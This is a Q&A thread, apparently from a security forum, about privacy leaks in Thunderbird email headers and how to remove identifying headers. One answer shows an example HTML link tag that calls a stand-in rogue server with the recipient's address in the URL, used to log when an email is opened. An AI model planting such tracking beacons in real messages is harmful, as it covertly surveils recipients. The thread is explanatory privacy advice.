Does Thunderbird have any leaks in email headers? If so, how to prevent them?

Are there any other privacy issues with Thunderbird?

2 Answers 2


Mozilla Thunderbird has several fingerprints within the RFC 822 content. This includes the User-Agent, Message-ID, and Content-Type headers as well as how it choses to render HTML, and this is not necessarily a complete list.

There isn't much variation between Thunderbird versions, so I'm guessing your OS and actual Thunderbird version are only visible through the User-Agent header.

User-Agent and X-Mailer headers

By default, Thunderbird's uses a generic User-Agent value of Mozilla Thunderbird. This is a big improvement over the prior default, which produced strings like this:

Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Thunderbird/45.0

To remove the User-Agent header altogether, follow these steps:

  1. Open the hamburger menu and go to Settings
  2. Scroll to the bottom or search for "Config Editor"
  3. Click Config Editor… on the right (click "I'll be careful, I promise!" if prompted)
  4. Search for mailnews.headers.useMinimalUserAgent. If you find it, set it to false
  5. Search for general.useragent.override. If it's missing, select String and press
  6. Make sure the text field is blank and click ✔️ to apply

The first preference instructs Thunderbird not use use its new (as of Thunderbird 102?) default Mozilla Thunderbird user agent string, instead reverting back to a more detailed user agent string. This is not what we want but is a step towards using a customized string.

Next we override it with an empty string, which Thunderbird will recognize as an instruction to not include the header. Do not forge another common user agent here; some anti-spam systems will notice the forgery and flag your mail as spam.

X-Mailer is another header used to reveal the sending software and its version. It is rarely used in conjunction with User-Agent. Thunderbird, for example, doesn't create an X-Mailer while Windows Live Mail does. Live Mail doesn't create a User-Agent header while Thunderbird does.

Received headers

RFC 821 requires every relay that a message passes through to add a Received header. These typically reveal the sending host's self-reported name (HELO/EHLO), its IP address, its reverse DNS (rDNS), the receiving host's SMTP software, ID for that message as it sits in the queue, hostname, and local date. (There's sometimes more information in there too, like authentication notes and original recipients (before alias expansion).)

When an end-user mail client (formally called a "Mail User Agent" or "MUA") connects to its outbound SMTP server, it must participate in this scheme as well. That means a system name needs to be used in the EHLO. Different clients have different ways of selecting this. Thunderbird uses your LAN IP address in brackets, Windows Live Mail includes your system's NetBIOS name (the same name used by Windows File Sharing), and other clients can use other techniques, including rDNS. Mozilla's choice of using the LAN IP is, in my opinion, the least revealing of the available options.


The Message-ID and Content-Type headers each generate "random" seeming unique strings (the message ID value and the MIME boundary string). These strings have certain patterns that can be used to determine the email client even without a User-Agent or X-Mailer header.

Aspects of other headers or even the HTML code may also reveal that you're using Thunderbird, but such techniques are unlikely to reveal your OS or Thunderbird version and they're unlikely to be as diagnostic than your Message-ID and Content-Type headers, which are in turn less diagnostic than X-Mailer or User-Agent strings.

Thunderbird extensions

There are also a few extensions that will provide more information than you may want to reveal. Enigmail (a PGP add-on) is one of these. See this How to Sanitize Thunderbird and Enigmail blog post for instructions. (That post is also where I learned how to suppress the User-Agent header). For my setup, the Enigmail ad and version were already removed (and the correct omission settings were labeled as default), so this may already be fixed by default in Enigmail.

Do note that when you cryptographically sign something, you are rather explicitly (and verifiably) stating who you are (at least by tying your key to the message) in addition to your email address in the From header.

  • Thanks a lot, answers have a lot of info yet don't state the same now. I can't accept both, the first one answers my original question, but yours has a lot more information. Commented Oct 7, 2016 at 13:08
  • Your question was hard to interpret and both of these answers had to guess your goals. My guess was that you were trying to prevent extraneous identifiable information from being embedded in emails you send. Grochmal's answer guessed you were trying to identify ways your information could be disseminated in either direction. Choose whichever answer better addresses your question and break ties with whichever has more votes and/or is oldest (at the moment, grochmal's answer represents both).
    – Adam Katz
    Commented Oct 7, 2016 at 18:32
  • My question was about leaks in headers. Add the part with computer name and I will accept yours. Commented Oct 7, 2016 at 18:35
  • 2
    The name immediately after from in the Received line is usually not derived from reverse DNS. It's the argument to the SMTP HELO/EHLO command, which is how the client chooses to name itself and may have nothing to do with DNS. This information is usually not useful when the client is an MUA using the SMTP server as a relay, but the protocol requires something to go there, so Thunderbird puts a bracketed IP address, and apparently Windows Live Mail puts the NetBIOS name.
    – user54862
    Commented Oct 7, 2016 at 18:54
  • Thanks @WumpusQ.Wumbley, I was not terribly explicit about those parts. I've updated my answer to include more of that.
    – Adam Katz
    Commented Oct 7, 2016 at 21:28

I can't find anything about windows live mail leaking the computer name. But nevertheless, any email client that renders HTML may leak information. Thankfully, most of them (Thunderbird included) are somewhat clever when displaying HTML mail.

Trivial example

The most trivial information that can be leaked is whether a user opened the email or not. On way to do it is to add something that needs to be fetched from a remote location. For example:

<link rel=stylesheet src=http://my-rogue-server.com/samuel.shofterovish.at.gmail.com/style.css />

The server will give the same file for everyone but will log the request. A simple grep reveals all user who has HTML rendering enabled and opened the email. HTML email is obnoxious today. Some mailers do not even bother using a multipart MIME with text and HTML, they just send the HTML, and MUAs need to be able to render that.

Back to the real world

Most email clients actually do not load external stylesheets, so the example above is poor. But then you have <img>. Most clients disallow <img> (yet Thunderbird did allow it by default once upon a time), but then you have <iframe>. And the list goes on. A well crafted email will use several techniques at once.

Then Thunderbird blocked <img> only from emails that were not in your contact list. But emails can be trivially spoofed. If an attacker manages to spoof an email of someone you know the images will show. This has been fixed in Thunderbird 2.0, and since that time all images are blocked by default. Note that in today's Thunderbird "external images" mean any external content.

Thunderbird had its deal of leaks but they have been fixed quickly. Unless you change the default options the mailer is considerably safe (in terms of privacy) to use. There was a time when Thunderbird was vulnerable to iframes, but that has been fixed too.

So yeah, bugs do occur and sometimes some information may be leaked by some yet unknown (to white hats) means, but that is going into complete paranoia. Even after Mozilla declared that it is diminishing its efforts on Thunderbird in 2012, there have not been any serious issues (the lack of new features may have helped). Unless black hats know something very clever and no one is disclosing it for several years (very improbable), Thunderbird is a rather safe choice in terms of privacy.

Other privacy attack vectors

The MUA (mail user agent, what Thunderbird is) sends X-Mailer:. But believeing X-Mailer is just stupid. Just like an HTTP User-Agent:, X-Mailer: can be set to anything you want. For example, I send this from my mutt:

X-Mailer: Starfleet cruiser 1317C5, private mail version 17.3rc2

Now, other headers are added by the MTAs (mail transport agents) on the path from your MUA to the destination mail server (also an MTA). Taking the header from the comment:

Received: from acerPC (unknown [*redacted IP*])

Your acerPC is set by an MTA, not the MUA. MTAs that run on a NAT device often add and extra from with the private IP of the machine on the inside of the NAT (LAN). For example:

Received: from [] (kinky-kittens.domain.net [public IP])

Yet, if the MTA processing the email on the NAT device know the mapping between the private IPs and the computer names (note that the mapping may be incorrect), the MTA may use that mapping and give the first from part a computer name. That computer name makes up for a domain name withing that LAN.

This is an information disclosure alright, but has nothing to do with Thunderbird or Windows Live Mail. It has to do with how your machine advertises its name to the LAN, this is most often part of the DHCP configuration.

Extra notes

The MTA at the NAT device may simply be a stateful firewall that will provide the info in the header to the next hop. It should be possible to configure the machine name tp private IP mapping in a firewall (or in a real MTA if that is what is running inside the LAN) to give wrong information.

By sending emails from a machine that is not within a LAN (no NAT) the Received: header set by the next hop in the mail path will know its IP and will be able to perform a reverse DNS lookup and produce a similar header.


  • Received: from acerPC (unknown [*redacted IP*]) X-Mailer: Microsoft Windows Live Mail *[version]* Commented Oct 4, 2016 at 15:01
  • 1
    @SamuelShifterovich - It is not the client that adds that header. It is the first mail server/relay it hits. If the mail server did not know the mapping between machine names and he would have done Received: from [private IP] (stuff done by the upstream server). But since the first server knows the IP mappings it substitutes [private IP] by the name it knows. The client you use is irrelevant. Note that the first SMTP relay you hit may as well be a stateful firewall (between your network and the internet) configured to fake as a trivial SMTP relay.
    – grochmal
    Commented Oct 4, 2016 at 15:31
  • I was talking about the acerPC part. Commented Oct 4, 2016 at 15:33
  • 1
    @SamuelShifterovich - I pushed the comments into the answer text. So someone who finds this by googling will have an easier time. I also added one extra reference question.
    – grochmal
    Commented Oct 4, 2016 at 17:19
  • 1
    hey where can I get that 17.3rc2? I just checked my version, it is the 17.01 and its 41 years old. Time to upgrade, it seems? Commented Oct 4, 2016 at 18:10

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .